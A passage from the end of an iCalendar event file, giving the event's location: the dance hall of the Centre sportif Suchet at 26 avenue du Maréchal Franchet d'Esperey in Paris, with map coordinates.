X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Salle de danse du Centre sportif Suchet 26 avenue du Maréchal Franchet d’Esperey Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=26 avenue du Maréchal Franchet d’Esperey:geo:2.2619979,48.8550307 END:VEVENT END:VCALENDAR